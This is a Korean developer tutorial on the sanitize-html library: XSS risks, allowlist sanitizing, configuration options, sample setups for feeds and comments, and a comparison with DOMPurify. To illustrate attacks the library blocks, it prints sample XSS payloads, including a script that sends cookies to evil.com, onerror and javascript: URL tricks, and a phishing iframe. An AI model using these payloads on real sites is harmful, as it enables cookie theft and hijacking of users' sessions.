sanitize-html
사용자가 입력한 HTML을 그대로 렌더링하면 XSS(Cross-Site Scripting) 공격에 노출된다. 블로그 RSS 피드의 본문, 댓글, 게시판 글 등 외부에서 들어오는 HTML 콘텐츠를 다루는 상황에서 이건 현실적인 위협이다.
<p>안녕하세요</p>
<script>document.location = 'https://evil.com/steal?cookie=' + document.cookie</script>
<img src="x" onerror="alert('XSS')">
위처럼 <script> 태그나 이벤트 핸들러가 포함된 HTML이 그대로 페이지에 삽입되면, 사용자의 쿠키가 탈취되거나 악성 코드가 실행될 수 있다. 이걸 막기 위해 HTML을 "새니타이징(sanitizing)"하는 과정이 필요하다.
새니타이징이란
새니타이징은 HTML 문자열에서 위험한 요소를 제거하고 안전한 부분만 남기는 작업이다. 핵심은 화이트리스트(allowlist) 방식이라는 점이다.
- 블랙리스트 방식: 위험한 태그/속성을 하나씩 차단 →
<script>막으면<SCRIPT>,<ScRiPt>,<img onerror>등 우회 가능 - 화이트리스트 방식: 허용할 태그/속성만 명시적으로 나열 → 목록에 없는 건 전부 제거
블랙리스트는 공격자가 새로운 우회 방법을 찾을 때마다 규칙을 추가해야 하지만, 화이트리스트는 허용 목록에 없는 건 전부 제거하니까 알려지지 않은 공격 벡터에도 안전하다. sanitize-html은 이 화이트리스트 방식을 사용한다.
기존 방식과의 비교
HTML을 안전하게 만드는 방법은 여러 가지가 있다.
방법 1: 전체 이스케이프
function escapeHtml(str) {
return str
.replace(/&/g, '&')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/"/g, '"');
}
모든 HTML 특수문자를 엔티티로 변환하면 안전하지만, 모든 마크업이 사라진다. <b>굵은 글씨</b>도 <b>굵은 글씨</b>로 표시돼서 서식이 전부 날아간다. 블로그 본문처럼 서식을 유지해야 하는 경우에는 사용할 수 없다.
방법 2: 정규식으로 태그 제거
const clean = dirty.replace(/<script\b[^<]*(?:(?!<\/script>)<[^<]*)*<\/script>/gi, '');
특정 태그를 정규식으로 제거하는 방식이다. 간단해 보이지만 HTML은 정규 문법(regular grammar)이 아니라서 정규식으로 완벽하게 파싱할 수 없다. 중첩 태그, 속성 안의 > 문자, 불완전한 태그 등을 정규식으로 처리하는 건 사실상 불가능하다.
<!-- 정규식 우회 예시 -->
<scr<script>ipt>alert('XSS')</script>
<img src="x" onerror="alert('XSS')">
<div style="background:url(javascript:alert('XSS'))">
방법 3: sanitize-html (파서 기반 새니타이징)
sanitize-html은 HTML을 실제로 파싱한 뒤 AST(추상 구문 트리)를 순회하면서 허용된 태그와 속성만 남긴다. 정규식이 아니라 파서를 사용하기 때문에 중첩이나 인코딩 트릭에도 안전하다.
설치 및 기본 사용법
npm install sanitize-html
npm install -D @types/sanitize-html # TypeScript
import sanitize from 'sanitize-html';
const dirty = '<p>Hello</p><script>alert("XSS")</script><b>World</b>';
const clean = sanitize(dirty);
// '<p>Hello</p><b>World</b>'
아무 옵션 없이 호출하면 sanitize-html의 기본 허용 목록이 적용된다. 기본적으로 <p>, <b>, <i>, <em>, <strong>, <a>, <ul>, <ol>, <li>, <br> 같은 기본 서식 태그만 허용되고, <script>, <style>, <iframe> 같은 위험한 태그는 모두 제거된다.
기본 허용 태그 목록
sanitize-html이 기본으로 허용하는 태그와 속성은 다음과 같다.
// 기본 허용 태그
const defaultAllowedTags = [
'address', 'article', 'aside', 'footer', 'header', 'h1', 'h2', 'h3',
'h4', 'h5', 'h6', 'hgroup', 'main', 'nav', 'section', 'blockquote',
'dd', 'div', 'dl', 'dt', 'figcaption', 'figure', 'hr', 'li', 'main',
'ol', 'p', 'pre', 'ul', 'a', 'abbr', 'b', 'bdi', 'bdo', 'br', 'cite',
'code', 'data', 'dfn', 'em', 'i', 'kbd', 'mark', 'q', 'rb', 'rp',
'rt', 'rtc', 'ruby', 's', 'samp', 'small', 'span', 'strong', 'sub',
'sup', 'time', 'u', 'var', 'wbr', 'caption', 'col', 'colgroup', 'table',
'tbody', 'td', 'tfoot', 'th', 'thead', 'tr'
];
// 기본 허용 속성
// a 태그: href, name, target
// img 태그: 기본으로 허용 안 됨 (직접 추가 필요)
<img> 태그가 기본 허용 목록에 없다는 점에 주의해야 한다. 이미지를 표시해야 하면 직접 추가해야 한다.
상세 옵션 설정
allowedTags: 허용할 태그 지정
const clean = sanitize(dirty, {
allowedTags: ['p', 'b', 'i', 'em', 'strong', 'a', 'img', 'br', 'ul', 'ol', 'li'],
});
기본 목록을 완전히 대체한다. 기본 목록에 태그를 추가하고 싶다면 sanitize.defaults.allowedTags를 스프레드해서 사용한다.
const clean = sanitize(dirty, {
allowedTags: sanitize.defaults.allowedTags.concat(['img', 'video']),
});
모든 태그를 허용하려면 false를 전달한다. 이 경우에도 속성 필터링은 적용되므로 이벤트 핸들러 같은 건 여전히 제거된다.
const clean = sanitize(dirty, {
allowedTags: false, // 모든 태그 허용
});
allowedAttributes: 허용할 속성 지정
const clean = sanitize(dirty, {
allowedTags: ['a', 'img', 'p', 'div'],
allowedAttributes: {
'a': ['href', 'target', 'rel'],
'img': ['src', 'alt', 'width', 'height'],
'div': ['class'],
},
});
태그별로 허용할 속성을 명시한다. '*' 키를 사용하면 모든 태그에 공통으로 적용할 속성을 지정할 수 있다.
allowedAttributes: {
'*': ['class', 'id'], // 모든 태그에 class, id 허용
'a': ['href', 'target'], // a 태그에 추가로 href, target 허용
}
allowedSchemes: URL 스킴 제한
href나 src 속성에 들어갈 수 있는 URL의 프로토콜을 제한한다. 기본값은 ['http', 'https', 'ftp', 'mailto']이다.
const clean = sanitize(dirty, {
allowedSchemes: ['http', 'https'],
allowedSchemesAppliedToAttributes: ['href', 'src', 'cite'],
});
이 설정이 중요한 이유는 javascript: 스킴을 차단하기 위해서다.
<!-- 이런 공격을 방어 -->
<a href="javascript:alert('XSS')">클릭</a>
<img src="javascript:alert('XSS')">
javascript: 스킴은 기본적으로 허용 목록에 없으므로 자동으로 제거된다.
disallowedTagsMode: 비허용 태그 처리 방식
비허용 태그를 만났을 때 어떻게 처리할지 결정한다. 세 가지 모드가 있다.
const dirty = '<div>Hello <script>alert("XSS")</script> World</div>';
// 'discard' (기본값): 태그와 내용 모두 제거
sanitize(dirty, { disallowedTagsMode: 'discard' });
// '<div>Hello World</div>'
// 'escape': 태그를 이스케이프 (내용은 유지)
sanitize(dirty, { disallowedTagsMode: 'escape' });
// '<div>Hello <script>alert("XSS")</script> World</div>'
// 'recursiveEscape': 중첩된 태그까지 전부 이스케이프
sanitize(dirty, { disallowedTagsMode: 'recursiveEscape' });
- discard: 위험한 태그를 흔적 없이 제거. 일반적인 상황에서 가장 적합
- escape: 태그가 텍스트로 표시됨. 코드 예시를 보여줄 때 유용
- recursiveEscape: escape와 비슷하지만 자식 태그도 전부 이스케이프
transformTags: 태그 변환
허용된 태그를 다른 태그로 변환하거나 속성을 추가/수정할 수 있다.
const clean = sanitize(dirty, {
allowedTags: ['a', 'p', 'strong'],
transformTags: {
'b': 'strong', // <b> → <strong>으로 변환
'a': sanitize.simpleTransform('a', {
target: '_blank',
rel: 'noopener noreferrer',
}),
},
});
simpleTransform은 태그명과 추가할 속성을 인자로 받아서 변환 함수를 만들어준다. 외부 링크에 target="_blank"와 rel="noopener noreferrer"를 자동으로 추가하는 패턴은 매우 흔하다.
더 복잡한 변환이 필요하면 함수를 직접 작성할 수 있다.
transformTags: {
'a': (tagName, attribs) => {
// 외부 링크만 새 탭에서 열기
if (attribs.href && !attribs.href.startsWith('/')) {
attribs.target = '_blank';
attribs.rel = 'noopener noreferrer';
}
return { tagName, attribs };
},
}
allowedClasses: CSS 클래스 화이트리스트
속성 전체가 아니라 특정 CSS 클래스만 허용할 수 있다.
const clean = sanitize(dirty, {
allowedTags: ['p', 'div', 'span', 'code', 'pre'],
allowedClasses: {
'code': ['language-*'], // language-로 시작하는 모든 클래스
'div': ['highlight', 'note'], // 특정 클래스만
'*': ['text-center'], // 모든 태그에 허용
},
});
와일드카드(*)를 사용하면 패턴 매칭도 가능하다. 코드 하이라이팅 라이브러리가 language-javascript, language-python 같은 클래스를 사용하는 경우에 유용하다.
allowedStyles: 인라인 스타일 제한
인라인 style 속성은 기본적으로 전부 제거된다. 특정 CSS 속성만 허용하려면 정규식으로 지정한다.
const clean = sanitize(dirty, {
allowedTags: ['p', 'span'],
allowedAttributes: {
'p': ['style'],
'span': ['style'],
},
allowedStyles: {
'*': {
'color': [/^#(0x)?[0-9a-f]+$/i, /^rgb\(\s*(\d{1,3})\s*,\s*(\d{1,3})\s*,\s*(\d{1,3})\s*\)$/],
'text-align': [/^left$/, /^right$/, /^center$/],
'font-size': [/^\d+(?:px|em|rem|%)$/],
},
},
});
CSS 속성값을 정규식으로 검증하기 때문에 expression(), url(javascript:...) 같은 CSS 기반 XSS 공격도 방어할 수 있다.
allowedIframeHostnames: iframe 호스트 제한
<iframe> 태그를 허용해야 하는 경우(유튜브 임베드 등), 특정 도메인만 허용할 수 있다.
const clean = sanitize(dirty, {
allowedTags: sanitize.defaults.allowedTags.concat(['iframe']),
allowedAttributes: {
'iframe': ['src', 'width', 'height', 'frameborder', 'allowfullscreen'],
},
allowedIframeHostnames: ['www.youtube.com', 'player.vimeo.com'],
});
이 옵션이 없으면 <iframe src="https://evil.com/phishing"> 같은 피싱 페이지가 임베드될 수 있다.
동작 원리
sanitize-html은 내부적으로 htmlparser2를 사용해서 HTML 문자열을 파싱한다. 동작 순서는 다음과 같다.
- 파싱: htmlparser2가 HTML 문자열을 토큰(여는 태그, 닫는 태그, 텍스트, 속성)으로 분해
- 필터링: 각 토큰에 대해 허용 목록을 확인
- 허용되지 않은 태그 →
disallowedTagsMode에 따라 제거/이스케이프 - 허용되지 않은 속성 → 제거
- URL 속성 → 스킴 검증
- style 속성 → 개별 CSS 속성 검증
- 허용되지 않은 태그 →
- 변환:
transformTags에 해당하는 태그 변환 적용 - 재조립: 필터링된 토큰을 다시 HTML 문자열로 조합
이 과정에서 불완전하거나 깨진 HTML도 정상적으로 처리된다. htmlparser2가 브라우저와 유사한 방식으로 오류 복구(error recovery)를 하기 때문이다.
<!-- 입력: 깨진 HTML -->
<p>열고 안 닫은 태그
<b>중첩이 <i>잘못된</b> 태그</i>
<script>alert('XSS')</script>
<!-- 출력: 정리된 HTML -->
<p>열고 안 닫은 태그
<b>중첩이 <i>잘못된</i></b> 태그
</p>
실전 설정 예시
RSS 피드 본문 새니타이징
외부 블로그 피드의 HTML 본문을 안전하게 표시하는 설정이다.
import sanitize from 'sanitize-html';
function sanitizeFeedContent(html: string): string {
return sanitize(html, {
allowedTags: [
// 구조
'p', 'div', 'br', 'hr',
// 제목
'h1', 'h2', 'h3', 'h4', 'h5', 'h6',
// 서식
'b', 'i', 'em', 'strong', 'u', 's', 'strike', 'del',
'sub', 'sup', 'small', 'mark',
// 링크/이미지
'a', 'img',
// 목록
'ul', 'ol', 'li',
// 코드
'pre', 'code', 'kbd', 'samp',
// 테이블
'table', 'thead', 'tbody', 'tfoot', 'tr', 'th', 'td',
// 인용
'blockquote', 'q', 'cite',
// 기타
'figure', 'figcaption', 'details', 'summary',
],
allowedAttributes: {
'a': ['href', 'title', 'target', 'rel'],
'img': ['src', 'alt', 'title', 'width', 'height', 'loading'],
'code': ['class'],
'pre': ['class'],
'td': ['colspan', 'rowspan'],
'th': ['colspan', 'rowspan', 'scope'],
},
allowedSchemes: ['http', 'https', 'mailto'],
allowedClasses: {
'code': ['language-*'],
'pre': ['language-*'],
},
transformTags: {
'a': sanitize.simpleTransform('a', {
target: '_blank',
rel: 'noopener noreferrer',
}),
},
});
}
이 설정의 포인트:
- 이미지:
src,alt,loading속성 허용 (lazy loading 지원) - 코드 블록:
language-*클래스 허용 (구문 하이라이팅 유지) - 외부 링크: 자동으로 새 탭 + noopener 추가 (탭내빙 공격 방지)
- 테이블: colspan/rowspan 허용 (복잡한 테이블 구조 유지)
- URL 스킴: http, https, mailto만 허용 (javascript: 차단)
사용자 댓글 새니타이징
댓글은 피드 본문보다 더 제한적이어야 한다.
function sanitizeComment(html: string): string {
return sanitize(html, {
allowedTags: ['p', 'br', 'b', 'i', 'em', 'strong', 'a', 'code'],
allowedAttributes: {
'a': ['href'],
},
allowedSchemes: ['http', 'https'],
transformTags: {
'a': (tagName, attribs) => ({
tagName,
attribs: {
...attribs,
target: '_blank',
rel: 'noopener noreferrer',
},
}),
},
textFilter: (text) => {
// 연속 공백 정리
return text.replace(/\s+/g, ' ');
},
});
}
완전 제거 (플레인 텍스트 추출)
HTML에서 텍스트만 추출하고 싶을 때는 모든 태그를 제거한다.
function stripHtml(html: string): string {
return sanitize(html, {
allowedTags: [],
allowedAttributes: {},
});
}
stripHtml('<p>Hello <b>World</b></p>');
// 'Hello World'
검색 인덱싱, 미리보기 텍스트 생성, 알림 메시지 등에서 유용하다.
성능 고려사항
sanitize-html은 HTML을 파싱하고 재조립하는 과정을 거치기 때문에 단순 문자열 치환보다는 느리다. 하지만 대부분의 경우 충분히 빠르다.
- 일반적인 블로그 포스트(~10KB HTML): 1ms 미만
- 대용량 문서(~100KB HTML): 수 ms
- 매우 큰 문서(~1MB HTML): 수십 ms
성능이 중요한 경우 몇 가지 최적화 방법이 있다.
// 1. 옵션 객체를 미리 만들어서 재사용
const sanitizeOptions = {
allowedTags: ['p', 'b', 'i', 'a'],
allowedAttributes: { 'a': ['href'] },
};
// 매번 새 객체를 만들지 않음
items.forEach(item => {
item.content = sanitize(item.content, sanitizeOptions);
});
// 2. 불필요한 처리 스킵
// HTML이 없는 문자열은 새니타이징할 필요 없음
function sanitizeIfNeeded(text: string): string {
if (!/<[a-z][\s\S]*>/i.test(text)) {
return text; // HTML 태그가 없으면 그대로 반환
}
return sanitize(text, sanitizeOptions);
}
DOMPurify와의 비교
브라우저 환경에서는 DOMPurify가 가장 많이 사용되는 대안이다.
| 기준 | sanitize-html | DOMPurify |
|---|---|---|
| 환경 | Node.js (서버) | 브라우저 (클라이언트) |
| 파서 | htmlparser2 | 브라우저 네이티브 DOM |
| 설정 유연성 | 매우 높음 (태그별 속성, 변환 등) | 높음 (프리셋 + 커스텀) |
| 속도 | 빠름 | 매우 빠름 (네이티브 DOM 활용) |
| 번들 크기 | 서버이므로 무관 | ~15KB gzipped |
핵심 차이는 실행 환경이다. sanitize-html은 서버 사이드(Node.js)에서 사용하도록 설계됐고, DOMPurify는 브라우저의 네이티브 DOM 파서를 활용한다. 서버에서 HTML을 정제해서 저장하고 싶다면 sanitize-html이 적합하고, 클라이언트에서 렌더링 직전에 정제하고 싶다면 DOMPurify가 적합하다.
가장 안전한 방법은 서버에서 sanitize-html로 저장 시점에 정제하고, 클라이언트에서 DOMPurify로 렌더링 시점에 한 번 더 정제하는 이중 방어다.
정리
- 화이트리스트 방식으로 허용 태그/속성만 남기기 때문에 정규식이나 블랙리스트와 달리 알려지지 않은 공격 벡터에도 안전하다
- allowedTags, allowedAttributes, allowedSchemes, transformTags를 조합해서 RSS 본문부터 댓글까지 용도별 설정을 만들 수 있다
- 서버에서 sanitize-html로 저장 시점에 정제하고 클라이언트에서 DOMPurify로 이중 방어하는 것이 가장 안전한 패턴이다
관련 문서
- html-escaper - HTML 엔티티 이스케이프/언이스케이프
- node-html-parser - 서버사이드 HTML 파싱
- react-markdown - React에서 마크다운 안전 렌더링 (rehype 파이프라인)